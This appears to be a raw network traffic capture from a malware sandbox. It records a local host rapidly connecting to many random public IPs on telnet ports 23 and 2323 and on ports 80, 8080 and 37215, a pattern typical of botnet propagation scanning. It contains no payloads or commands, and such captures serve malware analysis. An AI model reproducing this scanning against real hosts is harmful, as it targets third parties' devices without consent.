Oct 29, 2024 20:52:39.092150927 CET	56326	23	192.168.2.13	87.221.209.239
Oct 29, 2024 20:52:39.092160940 CET	56326	23	192.168.2.13	139.61.23.6
Oct 29, 2024 20:52:39.092169046 CET	56326	23	192.168.2.13	87.83.170.182
Oct 29, 2024 20:52:39.092178106 CET	56326	23	192.168.2.13	159.111.34.140
Oct 29, 2024 20:52:39.092183113 CET	56326	23	192.168.2.13	54.155.120.15
Oct 29, 2024 20:52:39.092189074 CET	56326	23	192.168.2.13	89.191.114.113
Oct 29, 2024 20:52:39.092189074 CET	56326	23	192.168.2.13	146.92.222.168
Oct 29, 2024 20:52:39.092197895 CET	56326	23	192.168.2.13	79.137.27.34
Oct 29, 2024 20:52:39.092197895 CET	56326	2323	192.168.2.13	69.69.10.189
Oct 29, 2024 20:52:39.092206001 CET	56326	23	192.168.2.13	83.236.169.229
Oct 29, 2024 20:52:39.092206001 CET	56326	23	192.168.2.13	140.233.56.51
Oct 29, 2024 20:52:39.092216015 CET	56326	23	192.168.2.13	190.76.241.110
Oct 29, 2024 20:52:39.092220068 CET	56326	23	192.168.2.13	81.58.175.44
Oct 29, 2024 20:52:39.092223883 CET	56326	23	192.168.2.13	208.100.10.237
Oct 29, 2024 20:52:39.092235088 CET	56326	23	192.168.2.13	194.104.184.120
Oct 29, 2024 20:52:39.092235088 CET	56326	23	192.168.2.13	104.114.68.107
Oct 29, 2024 20:52:39.092236996 CET	56326	23	192.168.2.13	193.38.141.14
Oct 29, 2024 20:52:39.092236996 CET	56326	23	192.168.2.13	75.82.45.214
Oct 29, 2024 20:52:39.092252016 CET	56326	23	192.168.2.13	111.146.115.60
Oct 29, 2024 20:52:39.092255116 CET	56326	23	192.168.2.13	222.162.158.186
Oct 29, 2024 20:52:39.092258930 CET	56326	23	192.168.2.13	112.63.193.218
Oct 29, 2024 20:52:39.092259884 CET	56326	2323	192.168.2.13	143.52.50.203
Oct 29, 2024 20:52:39.092274904 CET	56326	23	192.168.2.13	64.57.8.126
Oct 29, 2024 20:52:39.092291117 CET	56326	23	192.168.2.13	139.26.139.37
Oct 29, 2024 20:52:39.092291117 CET	56326	23	192.168.2.13	89.233.248.245
Oct 29, 2024 20:52:39.092292070 CET	56326	23	192.168.2.13	123.16.134.186
Oct 29, 2024 20:52:39.092297077 CET	56326	23	192.168.2.13	89.40.132.134
Oct 29, 2024 20:52:39.092303038 CET	39214	80	192.168.2.13	95.212.196.187
Oct 29, 2024 20:52:39.092327118 CET	56326	23	192.168.2.13	192.51.128.91
Oct 29, 2024 20:52:39.092333078 CET	56326	23	192.168.2.13	106.156.233.175
Oct 29, 2024 20:52:39.092336893 CET	56326	23	192.168.2.13	126.129.110.194
Oct 29, 2024 20:52:39.092339993 CET	56326	2323	192.168.2.13	40.53.222.244
Oct 29, 2024 20:52:39.092339993 CET	56326	23	192.168.2.13	200.13.2.39
Oct 29, 2024 20:52:39.092363119 CET	56326	23	192.168.2.13	178.34.252.6
Oct 29, 2024 20:52:39.092366934 CET	56326	23	192.168.2.13	143.51.223.150
Oct 29, 2024 20:52:39.092367887 CET	56326	23	192.168.2.13	186.115.218.117
Oct 29, 2024 20:52:39.092369080 CET	56326	23	192.168.2.13	221.254.178.51
Oct 29, 2024 20:52:39.092370033 CET	56326	23	192.168.2.13	105.71.198.153
Oct 29, 2024 20:52:39.092385054 CET	56326	23	192.168.2.13	42.143.50.172
Oct 29, 2024 20:52:39.092386007 CET	56326	23	192.168.2.13	115.170.72.86
Oct 29, 2024 20:52:39.092386007 CET	56326	2323	192.168.2.13	98.6.178.222
Oct 29, 2024 20:52:39.092389107 CET	56326	23	192.168.2.13	217.128.92.5
Oct 29, 2024 20:52:39.092401981 CET	56326	23	192.168.2.13	122.199.147.41
Oct 29, 2024 20:52:39.092408895 CET	56326	23	192.168.2.13	200.225.64.239
Oct 29, 2024 20:52:39.092408895 CET	56326	23	192.168.2.13	152.103.230.68
Oct 29, 2024 20:52:39.092422009 CET	56326	23	192.168.2.13	124.222.207.154
Oct 29, 2024 20:52:39.092427969 CET	56326	23	192.168.2.13	102.5.233.139
Oct 29, 2024 20:52:39.092434883 CET	56326	23	192.168.2.13	96.189.42.103
Oct 29, 2024 20:52:39.092437029 CET	56326	23	192.168.2.13	197.107.221.193
Oct 29, 2024 20:52:39.092454910 CET	56326	23	192.168.2.13	149.35.59.186
Oct 29, 2024 20:52:39.092457056 CET	56326	23	192.168.2.13	141.60.231.170
Oct 29, 2024 20:52:39.092457056 CET	56326	23	192.168.2.13	167.179.75.5
Oct 29, 2024 20:52:39.092458010 CET	56326	23	192.168.2.13	204.111.52.102
Oct 29, 2024 20:52:39.092461109 CET	56326	23	192.168.2.13	201.21.15.109
Oct 29, 2024 20:52:39.092472076 CET	56326	2323	192.168.2.13	135.174.26.110
Oct 29, 2024 20:52:39.092480898 CET	56326	23	192.168.2.13	13.26.126.66
Oct 29, 2024 20:52:39.092482090 CET	56326	23	192.168.2.13	1.143.69.46
Oct 29, 2024 20:52:39.092487097 CET	56326	23	192.168.2.13	77.177.239.117
Oct 29, 2024 20:52:39.092488050 CET	56326	23	192.168.2.13	190.52.182.156
Oct 29, 2024 20:52:39.092488050 CET	56326	23	192.168.2.13	118.188.49.138
Oct 29, 2024 20:52:39.092490911 CET	56326	23	192.168.2.13	137.67.43.215
Oct 29, 2024 20:52:39.092494965 CET	56326	23	192.168.2.13	180.47.18.4
Oct 29, 2024 20:52:39.092494965 CET	56326	23	192.168.2.13	102.1.13.126
Oct 29, 2024 20:52:39.092498064 CET	56326	2323	192.168.2.13	72.147.22.174
Oct 29, 2024 20:52:39.092514038 CET	56326	23	192.168.2.13	129.7.152.179
Oct 29, 2024 20:52:39.092520952 CET	56326	23	192.168.2.13	136.103.12.239
Oct 29, 2024 20:52:39.092535019 CET	56326	23	192.168.2.13	206.87.49.200
Oct 29, 2024 20:52:39.092538118 CET	56326	23	192.168.2.13	194.159.186.164
Oct 29, 2024 20:52:39.092538118 CET	56326	23	192.168.2.13	77.168.14.8
Oct 29, 2024 20:52:39.092547894 CET	56326	23	192.168.2.13	76.13.62.27
Oct 29, 2024 20:52:39.092550039 CET	56326	23	192.168.2.13	25.135.244.106
Oct 29, 2024 20:52:39.092547894 CET	56326	23	192.168.2.13	192.61.36.233
Oct 29, 2024 20:52:39.092550039 CET	56326	23	192.168.2.13	174.144.170.225
Oct 29, 2024 20:52:39.092547894 CET	56326	23	192.168.2.13	37.147.28.24
Oct 29, 2024 20:52:39.092555046 CET	56326	2323	192.168.2.13	185.192.77.52
Oct 29, 2024 20:52:39.093205929 CET	80	57896	95.211.85.186	192.168.2.13
Oct 29, 2024 20:52:39.093338966 CET	57896	80	192.168.2.13	95.211.85.186
Oct 29, 2024 20:52:39.093908072 CET	42980	23	192.168.2.13	131.182.113.220
Oct 29, 2024 20:52:39.094070911 CET	49556	80	192.168.2.13	95.140.96.244
Oct 29, 2024 20:52:39.096227884 CET	55360	80	192.168.2.13	95.118.201.113
Oct 29, 2024 20:52:39.097023010 CET	44870	80	192.168.2.13	95.83.180.131
Oct 29, 2024 20:52:39.097822905 CET	38780	80	192.168.2.13	95.53.138.91
Oct 29, 2024 20:52:39.098604918 CET	53508	80	192.168.2.13	95.88.89.13
Oct 29, 2024 20:52:39.099138975 CET	52312	8080	192.168.2.13	62.118.222.62
Oct 29, 2024 20:52:39.099138975 CET	42812	8080	192.168.2.13	95.191.176.62
Oct 29, 2024 20:52:39.099150896 CET	59904	37215	192.168.2.13	197.50.181.193
Oct 29, 2024 20:52:39.099159956 CET	58300	37215	192.168.2.13	197.188.162.153
Oct 29, 2024 20:52:39.099160910 CET	47792	37215	192.168.2.13	197.130.35.34
Oct 29, 2024 20:52:39.099175930 CET	60794	37215	192.168.2.13	197.227.102.38
Oct 29, 2024 20:52:39.099559069 CET	35280	80	192.168.2.13	95.142.167.112
Oct 29, 2024 20:52:39.100553036 CET	43412	80	192.168.2.13	95.115.96.42
Oct 29, 2024 20:52:39.101337910 CET	45200	80	192.168.2.13	95.87.178.60
Oct 29, 2024 20:52:39.101617098 CET	80	55360	95.118.201.113	192.168.2.13
Oct 29, 2024 20:52:39.101659060 CET	55360	80	192.168.2.13	95.118.201.113
Oct 29, 2024 20:52:39.102333069 CET	48986	80	192.168.2.13	95.38.130.248
Oct 29, 2024 20:52:39.103332043 CET	57666	80	192.168.2.13	95.79.74.6
Oct 29, 2024 20:52:39.104403973 CET	41426	80	192.168.2.13	95.23.178.190
Oct 29, 2024 20:52:39.105485916 CET	40474	80	192.168.2.13	95.75.250.246
Oct 29, 2024 20:52:39.116010904 CET	39586	80	192.168.2.13	95.48.73.95
Oct 29, 2024 20:52:39.117130995 CET	45028	80	192.168.2.13	95.96.124.119
Oct 29, 2024 20:52:39.120747089 CET	50492	80	192.168.2.13	95.86.195.249
Oct 29, 2024 20:52:39.121606112 CET	80	39586	95.48.73.95	192.168.2.13
Oct 29, 2024 20:52:39.121721029 CET	39586	80	192.168.2.13	95.48.73.95
Oct 29, 2024 20:52:39.122297049 CET	46924	80	192.168.2.13	95.242.35.144
Oct 29, 2024 20:52:39.122548103 CET	80	45028	95.96.124.119	192.168.2.13
Oct 29, 2024 20:52:39.122665882 CET	45028	80	192.168.2.13	95.96.124.119
Oct 29, 2024 20:52:39.122934103 CET	46438	80	192.168.2.13	95.155.246.174
Oct 29, 2024 20:52:39.124454975 CET	50276	80	192.168.2.13	95.59.25.147
Oct 29, 2024 20:52:39.125798941 CET	33918	80	192.168.2.13	95.3.212.165
Oct 29, 2024 20:52:39.127288103 CET	55154	80	192.168.2.13	95.48.146.171
Oct 29, 2024 20:52:39.128159046 CET	37544	80	192.168.2.13	95.13.26.120
Oct 29, 2024 20:52:39.129062891 CET	43766	80	192.168.2.13	95.49.83.230
Oct 29, 2024 20:52:39.130052090 CET	59456	80	192.168.2.13	95.14.131.55
Oct 29, 2024 20:52:39.130935907 CET	40684	80	192.168.2.13	95.9.248.252
Oct 29, 2024 20:52:39.131140947 CET	60472	37215	192.168.2.13	197.20.141.51
Oct 29, 2024 20:52:39.131150961 CET	43178	37215	192.168.2.13	197.157.75.10
Oct 29, 2024 20:52:39.131153107 CET	60724	37215	192.168.2.13	197.72.212.69
Oct 29, 2024 20:52:39.131162882 CET	53318	8080	192.168.2.13	94.181.3.61
Oct 29, 2024 20:52:39.131162882 CET	55738	37215	192.168.2.13	197.67.34.25
Oct 29, 2024 20:52:39.131887913 CET	33274	80	192.168.2.13	95.0.73.43
Oct 29, 2024 20:52:39.132872105 CET	50286	80	192.168.2.13	95.160.118.225
Oct 29, 2024 20:52:39.133615971 CET	80	37544	95.13.26.120	192.168.2.13
Oct 29, 2024 20:52:39.133661985 CET	37544	80	192.168.2.13	95.13.26.120
Oct 29, 2024 20:52:39.133696079 CET	37004	80	192.168.2.13	95.127.33.33
Oct 29, 2024 20:52:39.134706020 CET	36868	80	192.168.2.13	95.80.71.92
Oct 29, 2024 20:52:39.138215065 CET	46624	80	192.168.2.13	95.23.233.114
Oct 29, 2024 20:52:39.143708944 CET	46464	80	192.168.2.13	95.134.243.150
Oct 29, 2024 20:52:39.143785954 CET	80	46624	95.23.233.114	192.168.2.13
Oct 29, 2024 20:52:39.143917084 CET	46624	80	192.168.2.13	95.23.233.114
Oct 29, 2024 20:52:39.145306110 CET	39664	80	192.168.2.13	95.171.104.140
Oct 29, 2024 20:52:39.147376060 CET	45994	80	192.168.2.13	95.186.207.103
Oct 29, 2024 20:52:39.148576021 CET	55054	80	192.168.2.13	95.190.195.237
Oct 29, 2024 20:52:39.149691105 CET	42092	80	192.168.2.13	95.172.97.155
Oct 29, 2024 20:52:39.150639057 CET	41254	80	192.168.2.13	95.222.47.107
Oct 29, 2024 20:52:39.152514935 CET	56710	80	192.168.2.13	95.203.198.136
Oct 29, 2024 20:52:39.152707100 CET	80	45994	95.186.207.103	192.168.2.13
Oct 29, 2024 20:52:39.152870893 CET	45994	80	192.168.2.13	95.186.207.103
Oct 29, 2024 20:52:39.153676987 CET	56590	80	192.168.2.13	95.238.40.148
Oct 29, 2024 20:52:39.155172110 CET	48210	80	192.168.2.13	95.169.103.144
Oct 29, 2024 20:52:39.156606913 CET	60624	80	192.168.2.13	95.243.39.217
Oct 29, 2024 20:52:39.157989979 CET	36158	80	192.168.2.13	95.97.67.199
Oct 29, 2024 20:52:39.158849955 CET	38972	80	192.168.2.13	95.57.187.69
Oct 29, 2024 20:52:39.159899950 CET	38646	80	192.168.2.13	95.194.101.109
Oct 29, 2024 20:52:39.160777092 CET	60638	80	192.168.2.13	95.210.35.29
Oct 29, 2024 20:52:39.161514044 CET	33004	80	192.168.2.13	95.56.103.115
Oct 29, 2024 20:52:39.162471056 CET	45066	80	192.168.2.13	95.102.220.217
Oct 29, 2024 20:52:39.162874937 CET	80	60624	95.243.39.217	192.168.2.13
Oct 29, 2024 20:52:39.162997961 CET	60624	80	192.168.2.13	95.243.39.217
Oct 29, 2024 20:52:39.163161993 CET	37524	37215	192.168.2.13	197.27.2.81
Oct 29, 2024 20:52:39.163458109 CET	55632	80	192.168.2.13	95.3.175.60
Oct 29, 2024 20:52:39.164398909 CET	48348	80	192.168.2.13	95.105.197.139
Oct 29, 2024 20:52:39.165194035 CET	39944	80	192.168.2.13	95.208.254.182
Oct 29, 2024 20:52:39.166198015 CET	35964	80	192.168.2.13	95.45.223.185
Oct 29, 2024 20:52:39.167330980 CET	49192	80	192.168.2.13	95.184.210.191
Oct 29, 2024 20:52:39.168512106 CET	55036	80	192.168.2.13	95.58.44.81
Oct 29, 2024 20:52:39.169523954 CET	53874	80	192.168.2.13	95.251.43.68
Oct 29, 2024 20:52:39.170548916 CET	34568	80	192.168.2.13	95.26.210.214
Oct 29, 2024 20:52:39.171813965 CET	58856	80	192.168.2.13	95.186.132.4
Oct 29, 2024 20:52:39.173203945 CET	41126	80	192.168.2.13	95.5.107.68
Oct 29, 2024 20:52:39.173808098 CET	80	49192	95.184.210.191	192.168.2.13
Oct 29, 2024 20:52:39.173882961 CET	49192	80	192.168.2.13	95.184.210.191
Oct 29, 2024 20:52:39.174117088 CET	35160	80	192.168.2.13	95.7.135.12
Oct 29, 2024 20:52:39.175189972 CET	51046	80	192.168.2.13	95.242.209.110
Oct 29, 2024 20:52:39.176307917 CET	47968	80	192.168.2.13	95.53.92.98
Oct 29, 2024 20:52:39.177170992 CET	37948	80	192.168.2.13	95.71.146.193
Oct 29, 2024 20:52:39.178169966 CET	56446	80	192.168.2.13	95.220.207.85
Oct 29, 2024 20:52:39.179002047 CET	56250	80	192.168.2.13	95.104.66.124
Oct 29, 2024 20:52:39.179857016 CET	55618	80	192.168.2.13	95.215.188.18
Oct 29, 2024 20:52:39.181063890 CET	33570	80	192.168.2.13	95.3.243.140
Oct 29, 2024 20:52:39.182178974 CET	34934	80	192.168.2.13	95.27.92.136
Oct 29, 2024 20:52:39.182286024 CET	80	47968	95.53.92.98	192.168.2.13
Oct 29, 2024 20:52:39.182338953 CET	47968	80	192.168.2.13	95.53.92.98
Oct 29, 2024 20:52:39.183161020 CET	38896	80	192.168.2.13	95.200.110.145
Oct 29, 2024 20:52:39.184149027 CET	36430	80	192.168.2.13	95.177.202.228
Oct 29, 2024 20:52:39.185115099 CET	50848	80	192.168.2.13	95.24.207.24
Oct 29, 2024 20:52:39.186113119 CET	44074	80	192.168.2.13	95.132.107.245
Oct 29, 2024 20:52:39.186953068 CET	38458	80	192.168.2.13	95.253.138.188
Oct 29, 2024 20:52:39.187882900 CET	59352	80	192.168.2.13	95.101.23.87
Oct 29, 2024 20:52:39.188994884 CET	60066	80	192.168.2.13	95.70.163.177
Oct 29, 2024 20:52:39.190074921 CET	53814	80	192.168.2.13	95.73.87.5
Oct 29, 2024 20:52:39.190915108 CET	59840	80	192.168.2.13	95.242.171.152
Oct 29, 2024 20:52:39.191752911 CET	45064	80	192.168.2.13	95.173.147.34
Oct 29, 2024 20:52:39.192579985 CET	49574	80	192.168.2.13	95.243.78.151
Oct 29, 2024 20:52:39.193553925 CET	33418	80	192.168.2.13	95.189.111.46
Oct 29, 2024 20:52:39.193619013 CET	80	59352	95.101.23.87	192.168.2.13
Oct 29, 2024 20:52:39.193690062 CET	59352	80	192.168.2.13	95.101.23.87
Oct 29, 2024 20:52:39.195158958 CET	52088	8080	192.168.2.13	94.30.144.108
Oct 29, 2024 20:52:39.199388027 CET	37215	42808	197.243.51.19	192.168.2.13
Oct 29, 2024 20:52:39.199531078 CET	42808	37215	192.168.2.13	197.243.51.19
Oct 29, 2024 20:52:39.207865000 CET	43068	80	192.168.2.13	95.212.159.79
Oct 29, 2024 20:52:39.208616972 CET	36196	80	192.168.2.13	95.59.190.183
Oct 29, 2024 20:52:39.209280014 CET	44390	80	192.168.2.13	95.219.59.109
Oct 29, 2024 20:52:39.209307909 CET	44390	80	192.168.2.13	95.219.59.109
Oct 29, 2024 20:52:39.209796906 CET	44644	80	192.168.2.13	95.219.59.109
Oct 29, 2024 20:52:39.210530996 CET	33366	80	192.168.2.13	95.76.201.9
Oct 29, 2024 20:52:39.210530996 CET	33366	80	192.168.2.13	95.76.201.9
Oct 29, 2024 20:52:39.211165905 CET	33606	80	192.168.2.13	95.76.201.9
Oct 29, 2024 20:52:39.211734056 CET	58836	80	192.168.2.13	95.47.14.229
Oct 29, 2024 20:52:39.211734056 CET	58836	80	192.168.2.13	95.47.14.229
Oct 29, 2024 20:52:39.212188005 CET	59054	80	192.168.2.13	95.47.14.229
Oct 29, 2024 20:52:39.212718010 CET	47846	80	192.168.2.13	95.66.73.134
Oct 29, 2024 20:52:39.212718010 CET	47846	80	192.168.2.13	95.66.73.134
Oct 29, 2024 20:52:39.213233948 CET	48050	80	192.168.2.13	95.66.73.134
Oct 29, 2024 20:52:39.213819981 CET	57896	80	192.168.2.13	95.211.85.186
Oct 29, 2024 20:52:39.213819981 CET	57896	80	192.168.2.13	95.211.85.186
Oct 29, 2024 20:52:39.214165926 CET	58074	80	192.168.2.13	95.211.85.186
Oct 29, 2024 20:52:39.214639902 CET	55360	80	192.168.2.13	95.118.201.113
Oct 29, 2024 20:52:39.214639902 CET	55360	80	192.168.2.13	95.118.201.113
Oct 29, 2024 20:52:39.214662075 CET	80	43068	95.212.159.79	192.168.2.13
Oct 29, 2024 20:52:39.214673996 CET	80	36196	95.59.190.183	192.168.2.13
Oct 29, 2024 20:52:39.214739084 CET	36196	80	192.168.2.13	95.59.190.183
Oct 29, 2024 20:52:39.214740992 CET	43068	80	192.168.2.13	95.212.159.79
Oct 29, 2024 20:52:39.214850903 CET	80	44390	95.219.59.109	192.168.2.13
Oct 29, 2024 20:52:39.214962959 CET	55524	80	192.168.2.13	95.118.201.113
Oct 29, 2024 20:52:39.215585947 CET	39586	80	192.168.2.13	95.48.73.95
Oct 29, 2024 20:52:39.215585947 CET	39586	80	192.168.2.13	95.48.73.95
Oct 29, 2024 20:52:39.215969086 CET	39730	80	192.168.2.13	95.48.73.95
Oct 29, 2024 20:52:39.216176987 CET	80	33366	95.76.201.9	192.168.2.13
Oct 29, 2024 20:52:39.216455936 CET	45028	80	192.168.2.13	95.96.124.119
Oct 29, 2024 20:52:39.216455936 CET	45028	80	192.168.2.13	95.96.124.119
Oct 29, 2024 20:52:39.216933966 CET	45172	80	192.168.2.13	95.96.124.119
Oct 29, 2024 20:52:39.217293978 CET	80	58836	95.47.14.229	192.168.2.13
Oct 29, 2024 20:52:39.217441082 CET	37544	80	192.168.2.13	95.13.26.120
Oct 29, 2024 20:52:39.217441082 CET	37544	80	192.168.2.13	95.13.26.120
Oct 29, 2024 20:52:39.217971087 CET	37676	80	192.168.2.13	95.13.26.120
Oct 29, 2024 20:52:39.218034029 CET	80	47846	95.66.73.134	192.168.2.13
Oct 29, 2024 20:52:39.218564987 CET	46624	80	192.168.2.13	95.23.233.114
Oct 29, 2024 20:52:39.218564987 CET	46624	80	192.168.2.13	95.23.233.114
Oct 29, 2024 20:52:39.218986988 CET	46742	80	192.168.2.13	95.23.233.114
Oct 29, 2024 20:52:39.219173908 CET	80	57896	95.211.85.186	192.168.2.13
Oct 29, 2024 20:52:39.219546080 CET	45994	80	192.168.2.13	95.186.207.103
Oct 29, 2024 20:52:39.219546080 CET	45994	80	192.168.2.13	95.186.207.103
Oct 29, 2024 20:52:39.220180988 CET	46108	80	192.168.2.13	95.186.207.103
Oct 29, 2024 20:52:39.220354080 CET	80	55360	95.118.201.113	192.168.2.13
Oct 29, 2024 20:52:39.220607996 CET	60624	80	192.168.2.13	95.243.39.217
Oct 29, 2024 20:52:39.220607996 CET	60624	80	192.168.2.13	95.243.39.217
Oct 29, 2024 20:52:39.220979929 CET	60726	80	192.168.2.13	95.243.39.217
Oct 29, 2024 20:52:39.221379995 CET	80	39586	95.48.73.95	192.168.2.13
Oct 29, 2024 20:52:39.221676111 CET	80	39730	95.48.73.95	192.168.2.13
Oct 29, 2024 20:52:39.221707106 CET	49192	80	192.168.2.13	95.184.210.191
Oct 29, 2024 20:52:39.221707106 CET	49192	80	192.168.2.13	95.184.210.191
Oct 29, 2024 20:52:39.221775055 CET	39730	80	192.168.2.13	95.48.73.95
Oct 29, 2024 20:52:39.222059965 CET	80	45028	95.96.124.119	192.168.2.13
Oct 29, 2024 20:52:39.222099066 CET	49274	80	192.168.2.13	95.184.210.191
Oct 29, 2024 20:52:39.222603083 CET	47968	80	192.168.2.13	95.53.92.98
Oct 29, 2024 20:52:39.222603083 CET	47968	80	192.168.2.13	95.53.92.98
Oct 29, 2024 20:52:39.223278046 CET	48036	80	192.168.2.13	95.53.92.98
Oct 29, 2024 20:52:39.223359108 CET	80	37544	95.13.26.120	192.168.2.13
Oct 29, 2024 20:52:39.223949909 CET	59352	80	192.168.2.13	95.101.23.87
Oct 29, 2024 20:52:39.223949909 CET	59352	80	192.168.2.13	95.101.23.87
Oct 29, 2024 20:52:39.224412918 CET	59398	80	192.168.2.13	95.101.23.87
Oct 29, 2024 20:52:39.224617004 CET	80	46624	95.23.233.114	192.168.2.13
Oct 29, 2024 20:52:39.225476980 CET	39730	80	192.168.2.13	95.48.73.95
Oct 29, 2024 20:52:39.225511074 CET	80	45994	95.186.207.103	192.168.2.13
Oct 29, 2024 20:52:39.225843906 CET	50822	80	192.168.2.13	95.146.153.33
Oct 29, 2024 20:52:39.226438999 CET	43068	80	192.168.2.13	95.212.159.79
Oct 29, 2024 20:52:39.226438999 CET	43068	80	192.168.2.13	95.212.159.79
Oct 29, 2024 20:52:39.226459026 CET	80	60624	95.243.39.217	192.168.2.13
Oct 29, 2024 20:52:39.226715088 CET	43104	80	192.168.2.13	95.212.159.79
Oct 29, 2024 20:52:39.227139950 CET	36130	37215	192.168.2.13	197.238.217.234
Oct 29, 2024 20:52:39.227154016 CET	47374	37215	192.168.2.13	197.193.82.48
Oct 29, 2024 20:52:39.227154016 CET	58166	37215	192.168.2.13	197.78.100.78
Oct 29, 2024 20:52:39.227157116 CET	50162	8080	192.168.2.13	31.44.24.156
Oct 29, 2024 20:52:39.227158070 CET	48994	37215	192.168.2.13	197.36.244.219
Oct 29, 2024 20:52:39.227166891 CET	43734	8080	192.168.2.13	62.208.117.99
Oct 29, 2024 20:52:39.227188110 CET	42754	8080	192.168.2.13	94.166.57.45
Oct 29, 2024 20:52:39.227699995 CET	36196	80	192.168.2.13	95.59.190.183
Oct 29, 2024 20:52:39.227699995 CET	36196	80	192.168.2.13	95.59.190.183
Oct 29, 2024 20:52:39.227859020 CET	80	49192	95.184.210.191	192.168.2.13
Oct 29, 2024 20:52:39.228157043 CET	36232	80	192.168.2.13	95.59.190.183
Oct 29, 2024 20:52:39.228372097 CET	80	47968	95.53.92.98	192.168.2.13
Oct 29, 2024 20:52:39.229993105 CET	80	59352	95.101.23.87	192.168.2.13
Oct 29, 2024 20:52:39.231664896 CET	80	39730	95.48.73.95	192.168.2.13
Oct 29, 2024 20:52:39.231734991 CET	39730	80	192.168.2.13	95.48.73.95
Oct 29, 2024 20:52:39.232562065 CET	80	43068	95.212.159.79	192.168.2.13
Oct 29, 2024 20:52:39.233180046 CET	80	36196	95.59.190.183	192.168.2.13
Oct 29, 2024 20:52:39.235239983 CET	80	36232	95.59.190.183	192.168.2.13
Oct 29, 2024 20:52:39.235331059 CET	36232	80	192.168.2.13	95.59.190.183
Oct 29, 2024 20:52:39.235347033 CET	36232	80	192.168.2.13	95.59.190.183
Oct 29, 2024 20:52:39.235819101 CET	55936	80	192.168.2.13	95.136.186.232
Oct 29, 2024 20:52:39.241172075 CET	80	55936	95.136.186.232	192.168.2.13
Oct 29, 2024 20:52:39.241296053 CET	55936	80	192.168.2.13	95.136.186.232
Oct 29, 2024 20:52:39.241296053 CET	55936	80	192.168.2.13	95.136.186.232
Oct 29, 2024 20:52:39.241296053 CET	55936	80	192.168.2.13	95.136.186.232
Oct 29, 2024 20:52:39.241687059 CET	55938	80	192.168.2.13	95.136.186.232
Oct 29, 2024 20:52:39.242543936 CET	80	36232	95.59.190.183	192.168.2.13
Oct 29, 2024 20:52:39.242584944 CET	36232	80	192.168.2.13	95.59.190.183
Oct 29, 2024 20:52:39.246834040 CET	80	55936	95.136.186.232	192.168.2.13
Oct 29, 2024 20:52:39.255433083 CET	80	44390	95.219.59.109	192.168.2.13
Oct 29, 2024 20:52:39.258977890 CET	80	47846	95.66.73.134	192.168.2.13
Oct 29, 2024 20:52:39.259033918 CET	80	58836	95.47.14.229	192.168.2.13
Oct 29, 2024 20:52:39.259147882 CET	43722	37215	192.168.2.13	197.22.18.13
Oct 29, 2024 20:52:39.259151936 CET	57220	37215	192.168.2.13	197.125.166.82
Oct 29, 2024 20:52:39.259155989 CET	44060	8080	192.168.2.13	62.182.23.116
Oct 29, 2024 20:52:39.259156942 CET	56910	37215	192.168.2.13	197.119.27.79
Oct 29, 2024 20:52:39.259166002 CET	46622	37215	192.168.2.13	197.62.242.98
Oct 29, 2024 20:52:39.259180069 CET	49246	37215	192.168.2.13	197.104.205.72
Oct 29, 2024 20:52:39.259187937 CET	40244	37215	192.168.2.13	197.84.98.117
Oct 29, 2024 20:52:39.259215117 CET	45436	37215	192.168.2.13	197.162.232.23
Oct 29, 2024 20:52:39.259216070 CET	45094	8080	192.168.2.13	31.192.71.141
Oct 29, 2024 20:52:39.259249926 CET	51736	37215	192.168.2.13	197.153.19.143
Oct 29, 2024 20:52:39.259263039 CET	38122	8080	192.168.2.13	94.111.213.11
Oct 29, 2024 20:52:39.259263992 CET	59710	8080	192.168.2.13	95.98.151.140
Oct 29, 2024 20:52:39.263477087 CET	80	45028	95.96.124.119	192.168.2.13
Oct 29, 2024 20:52:39.263555050 CET	80	39586	95.48.73.95	192.168.2.13
Oct 29, 2024 20:52:39.263644934 CET	80	33366	95.76.201.9	192.168.2.13
Oct 29, 2024 20:52:39.265314102 CET	37215	43722	197.22.18.13	192.168.2.13
Oct 29, 2024 20:52:39.265511036 CET	37215	57220	197.125.166.82	192.168.2.13
Oct 29, 2024 20:52:39.265525103 CET	56342	37215	192.168.2.13	41.174.157.233
Oct 29, 2024 20:52:39.265536070 CET	43722	37215	192.168.2.13	197.22.18.13
Oct 29, 2024 20:52:39.265537977 CET	56342	37215	192.168.2.13	41.156.80.193
Oct 29, 2024 20:52:39.265537977 CET	56342	37215	192.168.2.13	41.194.139.55
Oct 29, 2024 20:52:39.265547991 CET	56342	37215	192.168.2.13	41.128.8.137
Oct 29, 2024 20:52:39.265588999 CET	56342	37215	192.168.2.13	41.168.19.252
Oct 29, 2024 20:52:39.265610933 CET	57220	37215	192.168.2.13	197.125.166.82
Oct 29, 2024 20:52:39.265610933 CET	56342	37215	192.168.2.13	41.209.185.38
Oct 29, 2024 20:52:39.265630960 CET	56342	37215	192.168.2.13	41.99.208.65
Oct 29, 2024 20:52:39.265630960 CET	56342	37215	192.168.2.13	41.62.1.131
Oct 29, 2024 20:52:39.265652895 CET	56342	37215	192.168.2.13	41.20.219.177
Oct 29, 2024 20:52:39.265655994 CET	56342	37215	192.168.2.13	41.60.110.238
Oct 29, 2024 20:52:39.265655994 CET	56342	37215	192.168.2.13	41.177.12.68
Oct 29, 2024 20:52:39.265690088 CET	56342	37215	192.168.2.13	41.200.227.28
Oct 29, 2024 20:52:39.265712023 CET	56342	37215	192.168.2.13	41.253.146.76
Oct 29, 2024 20:52:39.265721083 CET	56342	37215	192.168.2.13	41.150.150.188
Oct 29, 2024 20:52:39.265739918 CET	56342	37215	192.168.2.13	41.157.177.107
Oct 29, 2024 20:52:39.265739918 CET	56342	37215	192.168.2.13	41.250.253.37
Oct 29, 2024 20:52:39.265748024 CET	56342	37215	192.168.2.13	41.7.27.97
Oct 29, 2024 20:52:39.265748978 CET	56342	37215	192.168.2.13	41.104.19.130
Oct 29, 2024 20:52:39.265762091 CET	56342	37215	192.168.2.13	41.170.67.156
Oct 29, 2024 20:52:39.265773058 CET	56342	37215	192.168.2.13	41.109.53.137
Oct 29, 2024 20:52:39.265778065 CET	56342	37215	192.168.2.13	41.172.117.191
Oct 29, 2024 20:52:39.265779972 CET	56342	37215	192.168.2.13	41.114.224.121
Oct 29, 2024 20:52:39.265794992 CET	56342	37215	192.168.2.13	41.227.114.170
Oct 29, 2024 20:52:39.265806913 CET	56342	37215	192.168.2.13	41.34.230.175
Oct 29, 2024 20:52:39.265810013 CET	56342	37215	192.168.2.13	41.149.152.157
Oct 29, 2024 20:52:39.265811920 CET	56342	37215	192.168.2.13	41.95.216.101
Oct 29, 2024 20:52:39.265837908 CET	56342	37215	192.168.2.13	41.252.126.139
Oct 29, 2024 20:52:39.265845060 CET	56342	37215	192.168.2.13	41.147.35.160
Oct 29, 2024 20:52:39.265853882 CET	56342	37215	192.168.2.13	41.15.209.55
